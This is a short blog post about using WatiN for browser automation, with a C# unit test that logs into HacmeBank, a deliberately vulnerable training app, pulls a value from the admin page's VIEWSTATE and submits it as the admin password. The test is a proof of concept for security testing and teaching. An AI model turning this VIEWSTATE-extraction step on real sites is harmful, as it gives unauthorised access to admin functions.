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Using WatiN as a browser automation engine

When I was looking for a Browser Automation engine for O2, I looked at a bunch of option (including Selenium) and ended up using WatiN which is a .NET port of Watir

The result is great, specially after wrapping most WatiN functionality in O2-driven .NET Extension methods. Here is an example of an UnitTest that I wrote using WatiN (in this case the admin section VIEWSTATE password disclosure)

[Test]
public void vulnerability_Sensitive_Information_Disclosure_in_Admin_Section()
{
    setup();
    ie.open(StartUrl);
    ie.field("txtUserName").value("jv").flash();
    ie.field("txtPassword").value("jv789").flash();
    ie.button("Submit").click();
    ie.link("Admin Section").flash().click();                    

    var response = ie.viewState().ViewState_Values[12];

    ie.field("_ctl3:txtResponse").value(response).flash();
    ie.button("Login").flash().click();
}
Here are more examples on HacmeBank and here is a video that shows it in action

February 28, 2011 - Posted by | IE Automation, WatiN

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